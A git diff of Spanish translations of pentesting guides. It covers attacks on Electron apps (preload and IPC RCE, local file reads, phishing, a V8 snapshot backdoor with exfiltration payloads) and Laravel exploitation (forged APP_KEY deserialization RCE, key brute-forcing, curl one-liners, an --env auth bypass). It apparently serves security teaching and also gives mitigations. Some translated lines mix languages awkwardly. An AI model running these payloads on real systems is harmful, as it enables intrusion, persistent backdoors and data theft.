**Examples of Windows protocol exploits include:**
**Ejemplos de Windows protocol exploits incluyen:**
```html
<script>
window.open(
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Esta vulnerabilidad se puede encontrar en **[este informe](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, la cual debería deshabilitarse ya que permite cargar un script dentro del **preload context** como:
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, y debería estar deshabilitada porque permite cargar un script dentro del contexto preload como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Por lo tanto, un atacante que consiga cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Este preload script fue entonces abusado para invocar un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando llamando a **`shell.openExternal`** para obtener RCE:
Este preload script fue entonces abusado para invocar un **vulnerable IPC service (`skype-new-window`)** que llamaba a **`shell.openExternal`** para conseguir RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Lectura de archivos internos: XSS + contextIsolation
**Al deshabilitar `contextIsolation` se permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, para leer archivos locales y exfiltrating su contenido. Un ejemplo muestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
**Deshabilitar `contextIsolation` permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, para leer y exfiltrar archivos locales. Un ejemplo muestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Además, se comparte otro método para **leer un archivo interno**, que destaca una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica injecting a script para explotar la aplicación y exfiltrate data:
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una Electron desktop app. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
```html
<br /><br /><br /><br />
<h1>
@ -273,21 +273,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Chromium antiguo**
Si el **chromium** usado por la aplicación es **antiguo** y hay **vulnerabilidades** **conocidas** en él, podría ser posible **explotarlo y obtener RCE mediante una XSS**.\
Si el **chromium** que usa la aplicación es **antiguo** y existen **vulnerabilidades** conocidas en él, podría ser posible **explotarlo y obtener RCE a través de una XSS**.\
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing mediante bypass de regex de URL internas**
Suponiendo que encontraste una XSS pero **no puedes desencadenar RCE ni robar archivos internos** podrías intentar usarla para **robar credenciales mediante phishing**.
Antes que nada necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
Primero necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **link** se **abrirá** en la **ventana de escritorio** ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
La llamada a **`openInternally`** decidirá si el **link** se**abierto** en la **desktop window**, ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **browser as a 3rd party resource**.
En caso de que la **regex** usada por la función sea **vulnerable a bypasses** (por ejemplo por **no escapar los puntos de los subdominios**), un atacante podría abusar del XSS para **abrir una nueva ventana que** estará ubicada en la infraestructura del atacante **pidiendo credenciales** al usuario:
En el caso de que la **regex** utilizada por la función sea **vulnerable to bypasses** (por ejemplo, por **not escaping the dots of subdomains**), un atacante podría abusar del XSS para **open a new window which** que estará ubicada en la infraestructura del atacante **asking for credentials** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,17 +295,17 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protocolo
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **protocolo personalizado** prevents issues like this as you can limit the protocol to only serving a specific set of files.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Módulo remote
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
El Remote module de Electron permite que **los procesos renderer accedan a las APIs del proceso main**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este module introduce riesgos de seguridad significativos. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de cross-site scripting (XSS).
> [!TIP]
> Aunque el módulo **remote** expone algunas APIs del proceso main a los procesos renderer, no es sencillo obtener RCE únicamente abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.
> [!WARNING]
> Muchas apps que aún usan el módulo remote lo hacen de forma que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **riesgo de seguridad enorme**.
> Muchas apps que aún usan el módulo remote lo hacen de manera que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **riesgo de seguridad enorme**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Entonces, el proceso renderer puede importar objetos desde el módulo de la siguiente manera:
Después, el proceso renderer puede importar objetos desde el módulo de la siguiente manera:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
La **[entrada del blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remoto:
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remote:
- **`app.relaunch([options])`**
- **Reinicia** la aplicación al **cerrar** la instancia actual y **lanzar** una nueva. Útil para **actualizaciones de la aplicación** o cambios significativos de **estado**.
- **Reinicia** la aplicación cerrando la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la aplicación** o cambios significativos de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** o **crea** un directorio para almacenar los **registros de la aplicación**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **Define** o **crea** un directorio para almacenar los **logs de la aplicación**. Los logs pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **Registra** el ejecutable actual como el **manejador por defecto** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **`app.setUserTasks(tasks)`**
- **Agrega** tareas a la **categoría Tasks** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **inicia** la app o qué **argumentos** se pasan.
- **Agrega** tareas a la **categoría Tasks** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la aplicación o qué **argumentos** se pasan.
- **`app.importCertificate(options, callback)`**
- **Importa** un certificado **PKCS#12** en el **almacén de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **Importa** un certificado **PKCS#12** en el **certificate store** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Mueve** la aplicación a la **carpeta Applications** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
- **Mueve** la aplicación a la **Applications folder** (en macOS). Ayuda a garantizar una **instalación estándar** para usuarios de Mac.
- **`app.setJumpList(categories)`**
- **Establece** o **elimina** una **Jump List personalizada** en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
- **Establece** o **elimina** una **custom Jump List** en **Windows**. Puedes especificar **categories** para organizar cómo las tareas aparecen al usuario.
- **`app.setLoginItemSettings(settings)`**
- **Configura** qué **ejecutables** se inician al **iniciar sesión** junto con sus **opciones** (solo macOS y Windows).
- **Configura** qué **ejecutables** se inician al **login** junto con sus **opciones** (solo macOS y Windows).
Example:
Ejemplo:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## módulo systemPreferences
## Módulo systemPreferences
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** son todos **parte de** este módulo.
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** forman todos **parte de** este módulo.
**Ejemplo de uso:**
```javascript
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
- **Escucha** notificaciones **nativas de macOS** usando NSDistributedNotificationCenter.
- Antes de **macOS Catalina**, podías esnifar **todas** las notificaciones distribuidas pasando **nil** a CFNotificationCenterAddObserver.
- Después de **Catalina / Big Sur**, las aplicaciones sandbox aún pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueo/desbloqueo de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
* **Escucha** **notificaciones nativas de macOS** usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, podías capturar **todas** las distributed notifications pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las apps sandboxed todavía pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
### **getUserDefault / setUserDefault**
- **Interactúa** con **NSUserDefaults**, que almacena preferencias **de la aplicación** o **globales** en macOS.
* **Interactúa** con **NSUserDefaults**, que almacena preferencias **de aplicación** o **globales** en macOS.
- **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o **la ubicación geográfica del usuario**.
* **getUserDefault** puede **recuperar** información sensible, como **ubicaciones de archivos recientes** o la **ubicación geográfica del usuario**.
- **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una aplicación.
* **setUserDefault** puede **modificar** estas preferencias, afectando potencialmente la **configuración** de una app.
- En **versiones antiguas de Electron** (antes de v8.3.0), solo la **suite estándar** de NSUserDefaults era **accesible**.
* En **versiones antiguas de Electron** (antes de v8.3.0), solo la **standard suite** de NSUserDefaults era **accesible**.
## Shell.showItemInFolder
Esta función muestra el archivo dado en un gestor de archivos, lo cual **podría ejecutar automáticamente el archivo**.
This function whows the given file in a file manager, which **could automatically execute the file**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Las apps Electron deberían tener una **Content Security Policy (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **evitar** la **ejecución** de **código no confiable** en el navegador.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Normalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **meta tag**.
For more information check:
@ -401,18 +401,18 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Herramientas**
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y anti-patrones de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para comprobar bibliotecas de terceros vulnerables
- [**Electro.ng**](https://electro.ng/): Es de pago
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
- [**Electro.ng**](https://electro.ng/): You need to buy it
## Labs
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un lab para explotar aplicaciones Electron vulnerables.
Algunos comandos que te ayudarán con el laboratorio:
Algunos comandos que te ayudarán en el laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -435,20 +435,20 @@ cd vulnerable1
npm install
npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## Puerta trasera local mediante manipulación de V8 heap snapshot (Electron/Chromium) CVE-2025-55305
Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al arrancar (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los integrity fuses de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las verificaciones de OS code-signing. Como resultado, reemplazar el snapshot en una instalación escribible por el usuario permitía ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Las aplicaciones basadas en Electron y Chromium deserializan una V8 heap snapshot preconstruida al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los integrity fuses de Electron no trataban estas snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar la snapshot en una instalación escribible por el usuario permitía ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Puntos clave
- Brecha de integridad: EnableEmbeddedAsarIntegrityValidation y OnlyLoadAppFromAsar validan el JavaScript de la app dentro del ASAR, pero no cubrían las V8 heap snapshots (CVE-2025-55305). Chromium de forma similar no verifica la integridad de las snapshots.
- Precondiciones del ataque: Escritura de archivos local en el directorio de instalación de la app. Esto es común en sistemas donde las apps Electron o los browsers Chromium están instalados en rutas escribibles por el usuario (p. ej., %AppData%\Local en Windows; /Applications con matices en macOS).
- Efecto: Ejecución fiable de JavaScript del atacante en cualquier isolate al sobrescribir un builtin de uso frecuente (un “gadget”), permitiendo persistencia y evasión de la verificación de code-signing.
- Superficie afectada: Apps Electron (incluso con fuses habilitados) y browsers basados en Chromium que cargan snapshots desde ubicaciones escribibles por el usuario.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Generar una snapshot maliciosa sin compilar Chromium
- Usa el electron/mksnapshot prebuilt para compilar un payload JS en una snapshot y sobrescribir el v8_context_snapshot.bin de la aplicación.
Example minimal payload (prove execution by forcing a crash)
Ejemplo de payload mínimo (prueba la ejecución forzando un crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -463,10 +463,10 @@ throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Detección del proceso main: globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso main.
- Detección del navegador/renderer: globales exclusivos del navegador como alert están disponibles al ejecutarse en un contexto de documento.
- Detección del proceso principal: globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso principal.
- Detección Browser/renderer: globales exclusivos del navegador como alert están disponibles cuando se ejecuta en un contexto de documento.
Ejemplo de gadget que sondea las capacidades de Node del proceso main una vez
Ejemplo de gadget que sondea una vez las capacidades de Node del proceso principal
```js
const orig = Array.isArray;
@ -495,7 +495,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC de robo de datos en Renderer/browser-context (p. ej., Slack)
Renderer/browser-context PoC de exfiltración de datos (p. ej., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -520,25 +520,25 @@ return orig(...arguments);
};
```
Flujo de trabajo del operador
1) Escribe payload.js que sobrescriba un builtin común (e.g., Array.isArray) y, opcionalmente, bifurque por isolate.
2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
1) Escribe payload.js que sobrescriba un builtin común (p. ej., Array.isArray) y, opcionalmente, ramifique por isolate.
2) Construye el snapshot sin las fuentes de Chromium:
- `npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"`
3) Sobrescribe el/los archivo(s) snapshot de la aplicación objetivo:
- v8_context_snapshot.bin (siempre usado)
- browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Lanza la aplicación; el gadget se ejecuta cada vez que se usa el builtin elegido.
- `v8_context_snapshot.bin` (siempre usado)
- `browser_v8_context_snapshot.bin` (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Inicia la aplicación; el gadget se ejecuta cada vez que se usa el builtin elegido.
Notas y consideraciones
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario típicamente sobrevive a reinicios de la app y parece una app legítima firmada.
- Navegadores Chromium: El mismo concepto de manipulación se aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
- Integrity/signature bypass: Los archivos snapshot no se tratan como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistence: Reemplazar el snapshot en una instalación escribible por el usuario suele sobrevivir a reinicios de la app y parece una app legítima y firmada.
- Chromium browsers: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su threat model.
Detección y mitigaciones
- Trata los snapshots como contenido ejecutable e inclúyelos en la aplicación de controles de integridad (CVE-2025-55305 fix).
- Prefiere ubicaciones de instalación escribibles solo por administradores; establece una línea base y monitorea hashes para v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
- Detecta sobrescrituras de builtin en tiempo de ejecución temprano y cambios inesperados en snapshots; alerta cuando snapshots deserializados no coinciden con los valores esperados.
- Tratar los snapshots como contenido ejecutable e incluirlos en la aplicación de políticas de integridad (CVE-2025-55305 fix).
- Preferir ubicaciones de instalación solo escribibles por admin; establecer línea base y monitorizar hashes de `v8_context_snapshot.bin` y `browser_v8_context_snapshot.bin`.
- Detectar la sobrescritura de builtins en fases tempranas del runtime y cambios inesperados en snapshots; alertar cuando los snapshots deserializados no coincidan con los valores esperados.
## **Referencias**
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

View File

@ -4,13 +4,13 @@
### Laravel SQLInjection
Lea información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Lee información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
## APP_KEY y detalles internos de cifrado (Laravel \u003e=5.6)
Laravel utiliza AES-256-CBC (o GCM) con integridad HMAC bajo el capó (`Illuminate\\Encryption\\Encrypter`).
Laravel utiliza AES-256-CBC (o GCM) con integridad HMAC internamente (`Illuminate\\Encryption\\Encrypter`).
El texto cifrado bruto que finalmente **se envía al cliente** es **Base64 de un objeto JSON** como:
```json
{
@ -20,7 +20,7 @@ El texto cifrado bruto que finalmente **se envía al cliente** es **Base64 de un
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` serializa (`serialize()`) el texto plano por defecto, mientras que
`encrypt($value, $serialize=true)` hará `serialize()` del texto plano por defecto, mientras que
`decrypt($payload, $unserialize=true)` **automáticamente `unserialize()`** el valor descifrado.
Por lo tanto, **cualquier atacante que conozca la clave secreta de 32 bytes `APP_KEY` puede crear un objeto PHP serializado cifrado y obtener RCE vía métodos mágicos (`__wakeup`, `__destruct`, …)**.
@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inyecta la cadena generada en cualquier sink vulnerable de `decrypt()` (route param, cookie, session, …).
Inyecta la cadena producida en cualquier sink vulnerable de `decrypt()` (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo el proceso y añade un conveniente modo **bruteforce**:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo el proceso y añade un práctico modo **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
El script admite de forma transparente tanto payloads CBC como GCM y regenera el campo HMAC/tag.
El script soporta de forma transparente tanto payloads CBC como GCM y regenera el campo HMAC/tag.
---
## Patrones vulnerables en el mundo real
| Proyecto | Punto vulnerable (sink) | Cadena de gadgets |
|---------|-------------------------|-------------------|
| Proyecto | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie cuando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
El flujo de explotación siempre es:
1. Obtener o forzar por brute-force la `APP_KEY` de 32 bytes.
2. Construir una cadena de gadgets con **PHPGGC** (por ejemplo `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
1. Obtener o brute-forcear la `APP_KEY` de 32 bytes.
2. Construir una gadget chain con **PHPGGC** (por ejemplo `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
3. Encriptar el gadget serializado con **laravel_crypto_killer.py** y la `APP_KEY` recuperada.
4. Entregar el ciphertext al sink vulnerable `decrypt()` (parámetro de ruta, cookie, session …) para desencadenar **RCE**.
4. Entregar el ciphertext al sink vulnerable `decrypt()` (parámetro de ruta, cookie, session …) para provocar **RCE**.
A continuación se muestran one-liners concisos que demuestran la ruta completa de ataque para cada CVE del mundo real mencionada arriba:
A continuación hay concisos one-liners que demuestran la ruta completa de ataque para cada CVE del mundo real mencionada arriba:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
## Descubrimiento masivo de APP_KEY vía cookie brute-force
Porque cada respuesta nueva de Laravel establece al menos 1 cookie encriptada (`XSRF-TOKEN` y normalmente `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** que pueden ser atacadas offline.
Porque cada respuesta nueva de Laravel establece al menos 1 cookie cifrada (`XSRF-TOKEN` y usualmente `laravel_session`), **escáneres públicos de Internet (Shodan, Censys, …) leak millones de textos cifrados** que pueden atacarse offline.
Principales hallazgos de la investigación publicada por Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 porque los tokens contienen directamente serialized data.
* Reutilización masiva de claves los Top-10 APP_KEYs son hard-coded defaults incluidos en plantillas comerciales de Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
* Conjunto de datos julio 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Conjunto de datos mayo 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servidores aún vulnerables a la legacy CVE-2018-15133 porque los tokens contienen directamente datos serializados.
* Reutilización masiva de claves los Top-10 APP_KEYs son valores predeterminados hard-coded incluidos en plantillas comerciales de Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
La herramienta privada en Go **nounours** empuja el throughput de AES-CBC/GCM bruteforce a ~1.5 billion tries/s, reduciendo el cracking de un dataset completo a <2 minutes.
La herramienta privada en Go **nounours** eleva el throughput de bruteforce AES-CBC/GCM a ~1.5 billion tries/s, reduciendo el cracking del dataset completo a <2 minutos.
## CVE-2024-52301 HTTP argv/env override → auth bypass
Cuando PHP tiene `register_argc_argv=On` (típico en muchas distros), PHP expone un array `argv` para peticiones HTTP derivado del query string. Versiones recientes de Laravel parseaban estos args “CLI-like” y respetaban `--env=<value>` en tiempo de ejecución. Esto permite cambiar el environment del framework para la request HTTP actual simplemente añadiéndolo a cualquier URL:
Cuando `register_argc_argv=On` de PHP (típico en muchas distros), PHP expone un array `argv` para peticiones HTTP derivado de la query string. Versiones recientes de Laravel parseaban estos args “CLI-like” y respetaban `--env=<value>` en tiempo de ejecución. Esto permite cambiar el entorno del framework para la petición HTTP actual simplemente añadiéndolo a cualquier URL:
- Quick check:
- Visita `https://target/?--env=local` o cualquier string y busca cambios dependientes del environment (debug banners, footers, verbose errors). Si la cadena se refleja, el override está funcionando.
- Comprobación rápida:
- Visita `https://target/?--env=local` o cualquier cadena y busca cambios dependientes del entorno (debug banners, footers, errores detallados). Si la cadena se refleja, el override está funcionando.
- Impact example (lógica de negocio que confía en un env especial):
- Ejemplo de impacto (lógica de negocio que confía en un env especial):
- Si la app contiene ramas como `if (app()->environment('preprod')) { /* bypass auth */ }`, puedes autenticarte sin credenciales válidas enviando el POST de login a:
- `POST /login?--env=preprod`
- Notes:
- Funciona por request, sin persistencia.
- Notas:
- Funciona por petición, sin persistencia.
- Requiere `register_argc_argv=On` y una versión vulnerable de Laravel que lea argv para HTTP.
- Primitive útil para exponer errores más verbosos en envs “debug” o para disparar rutas de código condicionadas por environment.
- Primitiva útil para exponer errores más detallados en entornos “debug” o para activar rutas de código condicionadas por el entorno.
- Mitigations:
- Mitigaciones:
- Desactivar `register_argc_argv` para PHP-FPM/Apache.
- Actualizar Laravel para ignorar argv en peticiones HTTP y eliminar cualquier asunción de confianza ligada a `app()->environment()` en rutas de producción.
- Actualizar Laravel para que ignore argv en peticiones HTTP y eliminar cualquier supuesto de confianza vinculado a `app()->environment()` en rutas de producción.
Minimal exploitation flow (Burp):
```http
@ -125,25 +125,25 @@ email=a@b.c&password=whatever&remember=0xdf
```
---
## Laravel Trucos
## Trucos de Laravel
### Modo debug
Si Laravel está en **modo debug** podrás acceder al **código** y a **datos sensibles**.\
Por ejemplo `http://127.0.0.1:8000/profiles`:
